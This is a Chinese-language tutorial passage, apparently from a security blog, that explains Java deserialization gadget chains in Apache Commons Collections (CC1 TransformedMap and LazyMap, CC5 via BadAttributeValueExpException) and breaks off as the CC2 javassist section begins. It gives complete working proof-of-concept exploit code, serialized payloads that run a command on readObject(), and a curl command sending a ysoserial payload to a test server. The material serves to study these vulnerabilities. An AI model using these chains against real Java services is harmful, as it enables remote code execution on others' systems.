前言 在搞清楚Java反射机制、RMI和基本的Java反序列化漏洞流程后,下一步便是分析Java反序列化漏洞的经典利用链了。但这对大部分人来说都并不容易,我在网上查阅了大量资料,大部分文章对于新手来说并不友好 - 刚开始我甚至搞不清楚测试反序列化漏洞的环境应该如何搭建,在这种情况下,又何谈分析代码。
这篇将集合所有经典的反序列化漏洞利用链的详细讲解(包括一些环境搭建),希望帮助更多人、也包括我自己,能够认识、理解利用链的深层原理。
Do not become a script kiddie.
代码同步项目:Java-deserialization-vulnerability
URLDNS利用链 见此篇
Apache Commons Collections 利用链 什么是Commons Collections 有编程基础的同学应该知道,无论是C Language, Java, Python
还是其他语言,都有**Library(库)**。在Java
中,我们用import
引入库,这样我们就可以使用被引入的库中的一些function了。而Apache Commons Collections就是一个第三方基础库。
It provides several features to make collection handling easy. It provides many new interfaces, implementations and utilities.
它提供了一些功能,可以更方便的管理Collection集合 - 因为方便,Commons Collections被广泛用于各种Java应用的开发。其中反序列化漏洞就出现在这个库中,这意味着使用该库的漏洞版本 的Java应用会面临反序列化漏洞 的威胁。而我们的目的,就是研究这个库是如何产生并被利用反序列化漏洞的。
Commons Collections 1 环境搭建 下载准备
导入库 第一种方法 首先创建一个Java 项目,JDK记得选1.7版本的。
在File->Project Structure->Modules->Dependencies
点右边的加号:
导入我们下载好的cc jar包
配置就完成了。这时候我们可以看到library 处已被引入。
在Artifacts处也应该导入,具体步骤见Java反序列化漏洞之Ysoserial安装配置 中的WebServer环境搭建 章节。
第二种方法 也可以通过创建Maven项目,添加如下dependency:
1 2 3 4 5 6 7 <dependencies > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.1</version > </dependency > </dependencies >
Intro 安全研究的前辈们为我们发现并构造了利用这个漏洞的POC,我们现在就需要分析这条利用链的原理。
我们的利用链需要用到如下的Class
InvokerTransformer
ChainedTrasnformer
ConstantTransformer
TransformedMap
AnotationInvocationHandler
在InvokerTransformer
中,我们一眼可以看到如下的反射机制 的使用:
1 2 3 4 5 6 7 8 9 10 11 public Object transform (Object input) { if (input == null ) { return null ; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); } ... }
在它的transform()
方法中,将先get到了input
所在的Class,然后,获取Class中的method(this.iMethodName, this.iParamTypes)
,再method.invoke(input, this.iArgs)
。那么我们是否可以控制这些变量来完成一个反射呢?
InvokerTransformer
有两个constructor ,其中一个可以让我们传入以上需要用到的iMethodName,iParamTypes,iArgs
1 2 3 4 5 public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { this .iMethodName = methodName; this .iParamTypes = paramTypes; this .iArgs = args; }
那么我们就可以利用这个Class来触发RCE了!如果我们想要执行Runtime.getRuntime().exec("calc");
的效果,应该怎么办呢?
把它和上面的transform()
里的代码对照,我们将它写成反射的形式:
1 2 3 4 5 Class cls = input.getClass();Method method = cls.getMethod(this .iMethodName, this .iParamTypes);return method.invoke(input, this .iArgs);
一个简易的POC:
1 2 3 4 5 6 7 8 9 10 11 12 public class TransformedMapExploit { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }); Object input = Class.forName("java.lang.Runtime" ).getDeclaredMethod("getRuntime" ).invoke(Class.forName("java.lang.Runtime" ),null ); invokerTransformer.transform(input); } }
让我们来模拟一下客户端和服务器之间序列化和反序列化的过程:
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public class TransformedMapExploit { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException { InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }); FileOutputStream fileOutputStream = new FileOutputStream ("tm.cer" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); objectOutputStream.writeObject(invokerTransformer); objectOutputStream.flush(); objectOutputStream.close(); fileOutputStream.close(); FileInputStream fileInputStream = new FileInputStream ("tm.cer" ); ObjectInputStream objectInputStream = new ObjectInputStream (fileInputStream); InvokerTransformer inv = (InvokerTransformer) objectInputStream.readObject(); Object input = Class.forName("java.lang.Runtime" ).getDeclaredMethod("getRuntime" ).invoke(Class.forName("java.lang.Runtime" ),null ); inv.transform(input); } }
我们运行一下,成功弹出了计算器!
但是,我们来分析一下,这样写出来的POC有什么限制:
服务端的开发人员需要“帮助”我们做以下事情,才能触发漏洞:
把反序列化后的Object强制转化为InvokerTransformer类型
构造Input - Runtime实例
执行InvokerTransformer中的transform方法,并将Runtime实例以方法参数传入。
可以说这样的POC基本无法用于现实中的Java应用里,毫无意义。
那么我们怎么改造呢?
首先来解决input
的问题,我们想要自己来写input
,这样有更多的自主性。而ChainedTransformer
类就满足我们的要求。正如其名,它有着把各个transformer
串起来的功能。
在ChainedTransformer
中,有这样一个method:
1 2 3 4 5 6 public Object transform (Object object) { for (int i = 0 ; i < this .iTransformers.length; ++i) { object = this .iTransformers[i].transform(object); } return object; }
它循环遍历了iTransformers
中的每一个元素 - 每一次循环,它都会把该元素.transform(object)
的结果(一个对象)赋值给object
,并返回。
这意味着,下一个元素执行的transform()
方法中的参数就是上一个元素执行transform()
方法的返回值。
而在ChainedTransformer
的构造函数中我们可以控制iTransformers
变量(Transformer[]
类型),因为InvokerTransformer implements Transformer
,那么我们之前的InvokerTransformer
也可放在Transformer[]
中。
1 2 3 public ChainedTransformer (Transformer[] transformers) { this .iTransformers = transformers; }
所以构想:让我们构造的input
(Runtime实例)作为第一个遍历元素的返回值,再执行第二个元素的transform时,刚好就传入了input这个参数了。
但问题是,怎么让我们构造的input
(Runtime实例)能被Transformer
类或其子类的transform()
方法中的返回呢?
我们找到了ConstantTransformer
类,它是实现Transformer
类的,可以被放进Transformer[]
数组。在类里,它有我们想要的transform()
方法,且刚好就返回了iConstant
,我们可以在构造函数中传入Runtime.getRuntime()
这个Object。
1 2 3 4 5 6 7 public ConstantTransformer (Object constantToReturn) { this .iConstant = constantToReturn; } public Object transform (Object input) { return this .iConstant; }
这样我们的链就可以连起来了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public class TransformedMapExploit { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.getRuntime()), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); FileOutputStream fileOutputStream = new FileOutputStream ("tm.cer" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); objectOutputStream.writeObject(chainedTransformer); objectOutputStream.flush(); objectOutputStream.close(); fileOutputStream.close(); FileInputStream fileInputStream = new FileInputStream ("tm.cer" ); ObjectInputStream objectInputStream = new ObjectInputStream (fileInputStream); ChainedTransformer inv = (ChainedTransformer) objectInputStream.readObject(); inv.transform("Leihehe" ); } }
原本想要的计算器没有出现,出现了错误:编译器提示Runtime
没有实现Serializable
,所以不能被序列化和反序列化。
那我们就采用反射的方法来获取Runtime实例,让服务器在反序列化的时候生成Runtime实例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public class TransformedMapExploit { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); FileOutputStream fileOutputStream = new FileOutputStream ("tm.cer" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); objectOutputStream.writeObject(chainedTransformer); objectOutputStream.flush(); objectOutputStream.close(); fileOutputStream.close(); FileInputStream fileInputStream = new FileInputStream ("tm.cer" ); ObjectInputStream objectInputStream = new ObjectInputStream (fileInputStream); ChainedTransformer inv = (ChainedTransformer) objectInputStream.readObject(); inv.transform("Leihehe" ); } }
成功弹出计算器!但这样漏洞可以触发的范围依然不大,仍需要开发者在服务端将object转换为ChainedTransformer
类型,且执行transform
方法,我们需要扩大漏洞触发范围。
Apache Commons Collections
实现了一个 TransformedMap
类,该类是对 Java 标准数据结构 Map
接口的一个扩展 。
在TransformedMap
类中,我们可以发现以下methods
1 2 3 4 5 6 7 8 9 10 11 12 protected Object transformKey (Object object) { return this .keyTransformer == null ? object : this .keyTransformer.transform(object); } protected Object transformValue (Object object) { return this .valueTransformer == null ? object : this .valueTransformer.transform(object); } protected Object checkSetValue (Object value) { return this .valueTransformer.transform(value); }
这三个methods都会调用到对象的transform
()方法,但都是protected
属性,无法被外界访问,那么我们怎么触发到这三个方法呢?
继续在该Class中查看,发现了put()
方法:
1 2 3 4 5 public Object put (Object key, Object value) { key = this .transformKey(key); value = this .transformValue(value); return this .getMap().put(key, value); }
那keyTransformer
和valueTransformer
可控吗?
TransformedMap
类中的constructor传入两个转换链,一个是keyTransformer
一个是valueTransformer
1 2 3 4 5 protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; }
而它的decorate()
静态方法会返回新的TransformedMap
实例
1 2 3 public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); }
那么我们可以利用TransformedMap.decorate()
来获取到一个新的TransformedMap Instance
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 public class TransformedMapExploit { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map map = new HashMap (); map.put("1" ,"1" ); Map myMap = TransformedMap.decorate(map, null , chainedTransformer); FileOutputStream fileOutputStream = new FileOutputStream ("tm.cer" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); objectOutputStream.writeObject(myMap); objectOutputStream.flush(); objectOutputStream.close(); fileOutputStream.close(); FileInputStream fileInputStream = new FileInputStream ("tm.cer" ); ObjectInputStream objectInputStream = new ObjectInputStream (fileInputStream); Map mapObj = (Map) objectInputStream.readObject(); mapObj.put("aa" ,"bb" ); } }
计算器成功弹出!
现在范围扩大了,因为我们用到了更为常见的Map和put()
触发。
我们更理想化的攻击方式是,服务器端只要反序列化readObject()
就能触发反序列化漏洞。可惜的是,安全研究的前辈们发现并未有【重写了readObject()
方法且方法内可以调用MapObj.put()
方法】的Class。
还记得第四步的时候,我们在TransformedMap
类中还发现了一个方法,但并未利用 吗?
1 2 3 protected Object checkSetValue (Object value) { return this .valueTransformer.transform(value); }
既然put()
不可以再进一步利用了,这个方法会不会有更多利用空间呢?TransformedMap
类继承了AbstractInputCheckedMapDecorator
类,我们跟进去看一下。搜索checkSetValue()
这里MapEntry
里出现了checkSetValue()
,那我们只要保证this.parent
是指向TransformedMap
类的对象就可以了。
我们看看this.parent
都在哪些地方可以被赋值呢?
分别是在EntrySetIterator
和EntrySet
的constructor
里可以被赋值!但这是不同 Class的parent
,我们需要的是MapEntry
里的parent
,继续查看代码,发现:EntrySetIterator
中的next()方法会将自身的parent
传入MapEntry
,而EntrySet
的iterator
方法又会创建一个新的EntrySetIterator
,将它的parent传入EntrySetIterator
,这样就连起来了 - new EntrySet(set,parent).iterator().next()
就能够传入我们的parent。
接着我们发现,AbstractInputCheckedMapDecorator
里还有一个entrySet()
,因为我们的TransformedMap
就是它的子类,所以我们可以直接用我们的TransformedMap
去call这个method,一切就连起来了。
1 2 3 public Set entrySet () { return (Set)(this .isSetValueChecking() ? new AbstractInputCheckedMapDecorator .EntrySet(super .map.entrySet(), this ) : super .map.entrySet()); }
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 public class TransformedMapExploit { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map map = new HashMap (); map.put("1" ,"1" ); Map myMap = TransformedMap.decorate(map, null , chainedTransformer); Map.Entry finalMap = (Map.Entry) myMap.entrySet().iterator().next(); FileOutputStream fileOutputStream = new FileOutputStream ("tm.cer" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); objectOutputStream.writeObject(finalMap); objectOutputStream.flush(); objectOutputStream.close(); fileOutputStream.close(); FileInputStream fileInputStream = new FileInputStream ("tm.cer" ); ObjectInputStream objectInputStream = new ObjectInputStream (fileInputStream); Map.Entry entry = (Map.Entry) objectInputStream.readObject(); entry.setValue("leihehe" ); } }
原本以为成功了,结果发现:MapEntry
不能被序列化
去掉序列化和反序列化过程,成功弹出计算器
第六步: AnnotationInvocationHandler 虽然在第五步我们不能序列化,但幸运的是AnnotationInvocationHandler
中出现了我们想要的内容:
AnnotationInvocationHandler
拥有自己的readObject()
方法,且方法中涉及到了Map
的操作,让我们来详细分析一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 private void readObject (ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null ; try { var2 = AnnotationType.getInstance(this .type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException ("Non-annotation type in annotation serial stream" ); } Map var3 = var2.memberTypes(); Iterator var4 = this .memberValues.entrySet().iterator(); while (var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null ) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy (var8.getClass() + "[" + var8 + "]" )).setMember((Method)var2.members().get(var6))); } } } }
我们看到了熟悉的this.memberValues.entrySet().iterator();
,在后面还有setValue()
,这已经足够我们利用了。
上面代码comment
中的【this.type】
和【this.memberValues】
都是可控的 -》 在constructor中可以传入。
1 2 3 4 5 6 7 8 9 AnnotationInvocationHandler(Class<? extends Annotation > var1, Map<String, Object> var2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0 ] == Annotation.class) { this .type = var1; this .memberValues = var2; } else { throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); } }
memberValues
我们赋值为TransformedMap.decorate()
的返回值,那type
呢?我们可以发现type
是一种Annotation
(注释),如果有同学用过SpringBoot或Spring
的话,就会理解Annotation
的意义。所以此处我们是要传一个Annotation的Class过去。再看readObject()
中的逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ... var2 = AnnotationType.getInstance(this .type); Map var3 = var2.memberTypes(); while (var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null ) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy (var8.getClass() + "[" + var8 + "]" )).setMember((Method)var2.members().get(var6))); } } }
我们传入的这个type需要有memberTypes
,且我们的map 中的key必须要和memberTypes
的key保持一致。
跟踪Annotation
这个Class
,我们可以发现所有Annotation
的class。
这里我们可以简单分析一下:
1 2 3 4 5 6 @Documented @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.ANNOTATION_TYPE) public @interface Target { ElementType[] value(); }
此处Target
的memberTypes
就是 [value:ElementType]
=》 key-value 的形式。
1 2 3 4 5 6 @Documented @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.ANNOTATION_TYPE) public @interface Retention { RetentionPolicy value () ; }
此处Retention
的memberTypes
就是 [value:RetentionPolicy]
=》 key-value 的形式`。
这些Annotation
的元注解都可以通过@
符号来调用,例如@Target
因此我们可以选择传入Target.class
或者Retention.class
, map
的key
值为value
。
最终POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 public class TransformedMapExploit { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, InstantiationException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map map = new HashMap (); map.put("value" ,"anyContent" ); Map myMap = TransformedMap.decorate(map, null , chainedTransformer); Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> aConstructor = aClass.getDeclaredConstructor(Class.class, Map.class); aConstructor.setAccessible(true ); Object o = aConstructor.newInstance(Target.class, myMap); FileOutputStream fileOutputStream = new FileOutputStream ("tm.cer" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); objectOutputStream.writeObject(o); objectOutputStream.flush(); objectOutputStream.close(); fileOutputStream.close(); FileInputStream fileInputStream = new FileInputStream ("tm.cer" ); ObjectInputStream objectInputStream = new ObjectInputStream (fileInputStream); objectInputStream.readObject(); } }
成功弹出计算器,这样服务端只需要readObject()
即可触发反序列化漏洞了!
LazyMap版本 - POC构造过程(CommonsCollections 1) Intro 第一步到第三步和TransformedMap
版本都是一模一样的,主要问题在于如何call到ChainedTrasnformer.transform()
剩下的步骤和cc3的LazyMap、AnnotationInvocationHandler、动态代理一模一样,点这里看
Payload构造 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.*;import java.util.HashMap;import java.util.Map;public class LazyMapExploit { public static void main (String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); final Map innerMap = new HashMap (); final Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer); String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler" ; final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0 ]; constructor.setAccessible(true ); InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap); final Map testMap = new HashMap (); Map evilMap = (Map) Proxy.newProxyInstance( testMap.getClass().getClassLoader(), testMap.getClass().getInterfaces(), secondInvocationHandler ); final Constructor<?> ctor = Class.forName(classToSerialize).getDeclaredConstructors()[0 ]; ctor.setAccessible(true ); final InvocationHandler handler = (InvocationHandler) ctor.newInstance(Override.class, evilMap); FileOutputStream fileOutputStream = new FileOutputStream ("lz.cer" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); objectOutputStream.writeObject(handler); objectOutputStream.flush(); objectOutputStream.close(); fileOutputStream.close(); FileInputStream fileInputStream = new FileInputStream ("lz.cer" ); ObjectInputStream objectInputStream = new ObjectInputStream (fileInputStream); objectInputStream.readObject(); } }
LazyMap版本 - POC构造过程(CommonsCollections 5) Intro
3/12/2021 补充:
之前学习的时候看的资料太杂,学到cc5的时候发现这个LazyMap版本其实是cc5的,CC1的LazyMap版本其实是用到了代理 方面的知识。
我们的利用链需要用到如下的Class
InvokerTransformer
ChainedTrasnformer
ConstantTransformer
LazyMap
BadAttributeValueExpException
第一步到第三步: 和之前的TransformedMap版本低前三步是一样的。
第四步:LazyMap - get() 同TransformedMap
一样,我们需要寻找可以执行chainedTransformer
的transform()
方法的利用链。
在LazyMap
中,我们发现了
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (!super .map.containsKey(key)) { Object value = this .factory.transform(key); super .map.put(key, value); return value; } else { return super .map.get(key); } }
在这段代码中,this.factory.transform(key)
就执行了transform()
方法,如果我们能让factory
被赋值为我们构造好的chainedTransformer
,就可以触发漏洞了。
我们发现LazyMap有两个构造函数,其中一个构造函数会传入以Transformer
类型的参数
1 2 3 4 5 6 7 8 protected LazyMap (Map map, Transformer factory) { super (map); if (factory == null ) { throw new IllegalArgumentException ("Factory must not be null" ); } else { this .factory = factory; } }
我们尝试构造POC时new一个新的LazyMap,并将我们的链传进去,发现无法被构造。
该构造方法是protected 修饰的,意味着我们不能直接访问。
在LazyMap
中,还有一个我们熟悉的decorate()
方法,该方法会返回我们想要的instance
于是,现在的POC 可以构造如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public class LazyMapExploit { public static void main (String[] args) { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map innerMap = new HashMap (); innerMap.put("1" ,"2" ); Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer); lazyMap.get("hello" ); } }
计算器成功弹出
现在,我们尝试模拟远程服务器与客户端之间的序列化和反序列化流程。
POC :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 public class LazyMapExploit { public static void main (String[] args) throws IOException, ClassNotFoundException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map innerMap = new HashMap (); innerMap.put("1" ,"2" ); Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer); FileOutputStream fileOutputStream = new FileOutputStream ("lz.cer" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); objectOutputStream.writeObject(lazyMap); objectOutputStream.flush(); objectOutputStream.close(); fileOutputStream.close(); FileInputStream fileInputStream = new FileInputStream ("lz.cer" ); ObjectInputStream objectInputStream = new ObjectInputStream (fileInputStream); Map target = (Map) objectInputStream.readObject(); target.get("hello" ); } }
成功!我们现在看看,服务端触发漏洞的话,需要什么条件: 将反序列化后的object强制转化为Map类,然后再调用get()方法 - 看上去依然有点麻烦,我们有什么办法能让它更容易被触发呢?
第五步:TiedMapEntry.getValue() 安全研究前辈们并未发现有可控且调用get()
方法的readObject()
方法,但在TiedMapEntry
类中,getValue()
方法调用了get()方法,map
变量是可控的。
第六步:TiedMapEntry.toString() 我们继续找有没有调用getValue()
的方法,就在TiedMapEntry
类中,我们发现了toString()
,其中会调用到getValue()
。
1 2 3 4 public String toString () { return this .getKey() + "=" + this .getValue(); }
这样一来我们的利用链便是 - 调用toString()会触发 -> getValue() ->get()
。那是否能像TransformedMap
版本的POC一样,能够找到一个可控的readObject()
直接调用toString()
呢?
第七步:BadAttributeValueExpException 在BadAttributeValueExpException
类中,我们发现了readObject()
方法,其调用了toString()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val" , null ); if (valObj == null ) { val = null ; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
如果我们能够控制valObj
为TiedMapEntry
类的object
,就能够触发漏洞。这里的valObj
是从反序列化后的object
的fields
中直接得到的,那么我们可以直接创建一个值为TiedMapEntry
类object
的val
field。
我们先看看constructor
能不能直接赋值:
1 2 3 4 5 public BadAttributeValueExpException (Object val) { this .val = val == null ? null : val.toString(); }
在constructor
中,如果我们直接通过构造方法传入TiedMapEntry
类,会在客户端创建object
的时候就执行toString()
触发方法并把结果赋值给val
,而服务器在调用readObject()
的时候获取到的val
为toString()方法的返回值 ,从而不会触发漏洞。
于是我们不能通过constructor
传入TiedMapEntry
类的object
,相反,我们设置它为null
。我们尝试能否手动设置val的值:
发现并不能访问到val
值,val值是private
属性,
在BadAttributeValueExpException
类中也没有setter
能够帮助我们去设置。那么我们可以使用反射对其赋值。
最终POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 public class LazyMapExploit { public static void main (String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map innerMap = new HashMap (); innerMap.put("1" ,"2" ); Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,"leihehe" ); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); Field val = badAttributeValueExpException.getClass().getDeclaredField("val" ); val.setAccessible(true ); val.set(badAttributeValueExpException,tiedMapEntry); FileOutputStream fileOutputStream = new FileOutputStream ("lz.cer" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); objectOutputStream.writeObject(badAttributeValueExpException); objectOutputStream.flush(); objectOutputStream.close(); fileOutputStream.close(); FileInputStream fileInputStream = new FileInputStream ("lz.cer" ); ObjectInputStream objectInputStream = new ObjectInputStream (fileInputStream); objectInputStream.readObject(); } }
Reference Java反序列化-CommonCollections
Java 反序列化漏洞(4) – Apache Commons Collections POP Gadget Chains 剖析
【反序列化漏洞】commons-collections-1 组件
Java反序列化漏洞Apache CommonsCollections分析
Commons Collections 2 环境搭建 CommonsCollections4-4.0
jdk1.7 1.8低版本
Java反序列化漏洞之Ysoserial安装配置 中的WebServer环境搭建 章节
复现演示 首先在Ysoserial中配置:
运行生成:
运行我们的webserver:
curl "http://localhost:9090/webTest1_Web_exploded/test" --data-binary @payload.ser
即可弹出计算器。
前置知识 CommonsCollections 2 利用链原理 在CommonsCollections2 中,我们将使用javassist 在java字节码(.class)中插入命令执行代码,接着用某个重写了loadClass
方法的ClassLoader 来加载我们生成好的字节码(.class文件),实现执行恶意代码的效果。ClassLoader用双亲委派机制来加载Class。
Javassist生成执行命令的Class 首先我们先模拟以下javassist 怎么生成执行命令的字节码
